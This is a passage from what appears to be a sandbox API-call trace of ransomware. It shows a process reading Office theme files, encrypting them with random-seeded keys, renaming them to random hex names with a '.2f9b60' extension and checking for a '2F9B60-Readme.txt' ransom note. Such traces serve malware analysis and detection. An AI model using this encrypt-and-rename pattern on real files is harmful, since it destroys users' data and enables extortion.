Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x6d642782 [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x6e5b9b03 [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x41bf0aad [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x333b5639 [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x709754ef [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x6bd59df5 [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x5133f8b9 [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x52c4013a [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x5134caba [0120.787] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x3b0e7c9c [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x176b436e [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x1c1be145 [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x7cb3802 [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x8d24a28 [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x31064095 [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x691c480f [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x7efcf62f [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x150edbf6 [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x4282f6b5 [0120.788] RtlRandomEx (in: Seed=0x3fe7f8b0 | out: Seed=0x3fe7f8b0) returned 0x58fb3cc3 [0120.798] ReadFile (in: hFile=0x181c, lpBuffer=0x202b5cc0, nNumberOfBytesToRead=0xe15, lpNumberOfBytesRead=0x3fe7f8b0, lpOverlapped=0x0 | out: lpBuffer=0x202b5cc0*, lpNumberOfBytesRead=0x3fe7f8b0*=0xe15, lpOverlapped=0x0) returned 1 [0120.798] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.798] WriteFile (in: hFile=0x181c, lpBuffer=0x1ce73da0*, nNumberOfBytesToWrite=0xe15, lpNumberOfBytesWritten=0x3fe7f8b4, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesWritten=0x3fe7f8b4*=0xe15, lpOverlapped=0x0) returned 1 [0122.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0122.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260950 [0122.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260950) returned 1 [0122.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0122.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b5cc0) returned 1 [0122.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a90) returned 1 [0122.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0122.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260950 [0122.200] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.200] WriteFile (in: hFile=0x181c, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3fe7f9d0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x3fe7f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0122.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6800 [0122.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6800) returned 1 [0122.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6800 [0122.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6710 [0122.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6710) returned 1 [0122.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.960] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.960] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="a9") returned 2 [0122.960] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="47") returned 2 [0122.960] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="f0") returned 2 [0122.960] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="b5") returned 2 [0122.960] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="97") returned 2 [0122.960] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="2a") returned 2 [0122.960] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="ba") returned 2 [0122.960] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="3c") returned 2 [0122.960] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="5e") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="3e") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="49") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="8f") returned 2 [0122.961] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="05") returned 2 [0122.961] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="e3") returned 2 [0122.961] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="c1") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="9c") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="08") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="92") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="cb") returned 2 [0122.961] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="60") returned 2 [0122.961] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="69") returned 2 [0122.961] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="6e") returned 2 [0122.961] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="c7") returned 2 [0122.961] RtlInitAnsiString (in: DestinationString=0x3fe7fa48, SourceString="0ba947f0b5972aba3c5e3e498f05e3c19c0892cb60696ec7" | out: DestinationString="0ba947f0b5972aba3c5e3e498f05e3c19c0892cb60696ec7") [0122.961] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fe7fa18, SourceString="0ba947f0b5972aba3c5e3e498f05e3c19c0892cb60696ec7", AllocateDestinationString=1 | out: DestinationString="0ba947f0b5972aba3c5e3e498f05e3c19c0892cb60696ec7") returned 0x0 [0122.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8ec0 [0122.962] wcscat (in: _Dest=0x107180, _Source="0ba947f0b597" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ba947f0b597") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ba947f0b597" [0122.962] wcscat (in: _Dest=0x107180, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ba947f0b597.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ba947f0b597.2f9b60" [0122.962] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ba947f0b597.2f9b60", NtPathName=0x3fe7f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ba947f0b597.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1187b0 [0123.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0123.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0123.502] NtQueryInformationFile (in: FileHandle=0x181c, IoStatusBlock=0x3fe7fa58, FileInformation=0x3fe7fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fe7fa58, FileInformation=0x3fe7fa68) returned 0x0 [0123.502] NtSetInformationFile (FileHandle=0x181c, IoStatusBlock=0x3fe7fa58, FileInformation=0x3fe7fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107180) returned 1 [0123.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ec0) returned 1 [0123.872] FlushFileBuffers (hFile=0x181c) returned 1 [0124.138] CloseHandle (hObject=0x181c) returned 1 [0124.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce10bb0 [0124.139] wcscpy (in: _Dest=0x1ce10bb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.139] wcscat (in: _Dest=0x1ce10bb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10bb0) returned 1 [0124.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acdc0) returned 1 Thread: id = 1431 os_tid = 0x18b0 [0119.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml")) returned 0x20 [0120.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", dwFileAttributes=0x20) returned 1 [0120.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10b0 [0120.969] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x3ffaf900 | out: lpFileSize=0x3ffaf900*=3585) returned 1 [0120.969] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0xdfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.969] ReadFile (in: hFile=0x10b0, lpBuffer=0x3ffaf880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ffaf8c8, lpOverlapped=0x0 | out: lpBuffer=0x3ffaf880*, lpNumberOfBytesRead=0x3ffaf8c8*=0x4, lpOverlapped=0x0) returned 1 [0121.475] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76e0 [0121.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0121.475] NtQuerySystemTime (in: CurrentTime=0x3ffaf7c0 | out: CurrentTime=0x3ffaf7c0*=132462177268666000) returned 0x0 [0121.475] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x4411d395 [0121.475] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x7ad10514 [0121.475] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x37b12b34 [0121.475] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x66d0bd2f [0121.475] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x73a7862f [0121.475] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x267af8be [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x3f96c4be [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x659ddbae [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x601cc6c6 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x42767798 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x34f7c4cd [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x47a1f07c [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x54cc0a78 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x49e39186 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x710cfdb9 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x43df7582 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x35eb5df0 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x78dac6b9 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x43df7582 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x62812ddd [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0xb8d1a4e [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x3dfa05ca [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x158af614 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x523d44b2 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x7c3ab258 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x268fcd3c [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x17bbc684 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x3ca9cf07 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x1ed1226c [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x7df1798d [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x4cebb618 [0121.476] RtlRandomEx (in: Seed=0x3ffaf7b0 | out: Seed=0x3ffaf7b0) returned 0x2617a3d5 [0124.473] ReadFile (in: hFile=0x10b0, lpBuffer=0x41b7d170, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x3ffaf7b0, lpOverlapped=0x0 | out: lpBuffer=0x41b7d170*, lpNumberOfBytesRead=0x3ffaf7b0*=0xe01, lpOverlapped=0x0) returned 1 [0124.473] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.473] WriteFile (in: hFile=0x10b0, lpBuffer=0x1ce95a30*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x3ffaf7b4, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesWritten=0x3ffaf7b4*=0xe01, lpOverlapped=0x0) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0124.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0124.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0124.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce95a30) returned 1 [0124.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b7d170) returned 1 [0124.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504d90) returned 1 [0124.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420592e0) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda0570 [0124.537] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.537] WriteFile (in: hFile=0x10b0, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3ffaf8d0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3ffaf8d0*=0x11a, lpOverlapped=0x0) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0124.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced6b70 [0124.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0124.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b10 [0124.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b10) returned 1 [0124.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9c2b0 [0124.598] sprintf (in: _Dest=0x1cd9c2b0, _Format="%c%c" | out: _Dest="40") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2b2, _Format="%c%c" | out: _Dest="2d") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2b4, _Format="%c%c" | out: _Dest="ff") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2b6, _Format="%c%c" | out: _Dest="7b") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2b8, _Format="%c%c" | out: _Dest="5a") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2ba, _Format="%c%c" | out: _Dest="66") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2bc, _Format="%c%c" | out: _Dest="e9") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2be, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.598] sprintf (in: _Dest=0x1cd9c2c0, _Format="%c%c" | out: _Dest="ca") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2c2, _Format="%c%c" | out: _Dest="c3") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2c4, _Format="%c%c" | out: _Dest="bd") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2c6, _Format="%c%c" | out: _Dest="45") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2c8, _Format="%c%c" | out: _Dest="5e") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2ca, _Format="%c%c" | out: _Dest="85") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2cc, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2ce, _Format="%c%c" | out: _Dest="f2") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2d0, _Format="%c%c" | out: _Dest="48") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2d2, _Format="%c%c" | out: _Dest="7a") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2d4, _Format="%c%c" | out: _Dest="b7") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2d6, _Format="%c%c" | out: _Dest="fb") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2d8, _Format="%c%c" | out: _Dest="4d") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2da, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2dc, _Format="%c%c" | out: _Dest="f7") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2de, _Format="%c%c" | out: _Dest="3a") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2e0, _Format="%c%c" | out: _Dest="9c") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2e2, _Format="%c%c" | out: _Dest="56") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2e4, _Format="%c%c" | out: _Dest="5c") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2e6, _Format="%c%c" | out: _Dest="ab") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2e8, _Format="%c%c" | out: _Dest="05") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2ea, _Format="%c%c" | out: _Dest="e7") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2ec, _Format="%c%c" | out: _Dest="85") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2ee, _Format="%c%c" | out: _Dest="62") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2f0, _Format="%c%c" | out: _Dest="5e") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2f2, _Format="%c%c" | out: _Dest="94") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2f4, _Format="%c%c" | out: _Dest="e4") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2f6, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2f8, _Format="%c%c" | out: _Dest="0a") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2fa, _Format="%c%c" | out: _Dest="37") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2fc, _Format="%c%c" | out: _Dest="dd") returned 2 [0124.599] sprintf (in: _Dest=0x1cd9c2fe, _Format="%c%c" | out: _Dest="3a") returned 2 [0124.599] RtlInitAnsiString (in: DestinationString=0x3ffaf948, SourceString="402dff7b5a66e9e2cac3bd455e85d3f2487ab7fb4d2af73a9c565cab05e785625e94e47d0a37dd3a" | out: DestinationString="402dff7b5a66e9e2cac3bd455e85d3f2487ab7fb4d2af73a9c565cab05e785625e94e47d0a37dd3a") [0124.599] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ffaf918, SourceString="402dff7b5a66e9e2cac3bd455e85d3f2487ab7fb4d2af73a9c565cab05e785625e94e47d0a37dd3a", AllocateDestinationString=1 | out: DestinationString="402dff7b5a66e9e2cac3bd455e85d3f2487ab7fb4d2af73a9c565cab05e785625e94e47d0a37dd3a") returned 0x0 [0124.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad6b0 [0124.600] wcscat (in: _Dest=0x119a60, _Source="402dff7b5a66e9e2cac3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\402dff7b5a66e9e2cac3") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\402dff7b5a66e9e2cac3" [0124.600] wcscat (in: _Dest=0x119a60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\402dff7b5a66e9e2cac3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\402dff7b5a66e9e2cac3.2f9b60" [0124.600] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\402dff7b5a66e9e2cac3.2f9b60", NtPathName=0x3ffaf8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\402dff7b5a66e9e2cac3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776930 [0124.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0124.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0124.977] NtQueryInformationFile (in: FileHandle=0x10b0, IoStatusBlock=0x3ffaf958, FileInformation=0x3ffaf968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ffaf958, FileInformation=0x3ffaf968) returned 0x0 [0124.977] NtSetInformationFile (FileHandle=0x10b0, IoStatusBlock=0x3ffaf958, FileInformation=0x3ffaf968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119a60) returned 1 [0124.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad6b0) returned 1 [0124.985] FlushFileBuffers (hFile=0x10b0) returned 1 [0124.995] CloseHandle (hObject=0x10b0) returned 1 [0124.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad6b0 [0124.999] wcscpy (in: _Dest=0x202ad6b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.999] wcscat (in: _Dest=0x202ad6b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.999] GetFileAttributesW 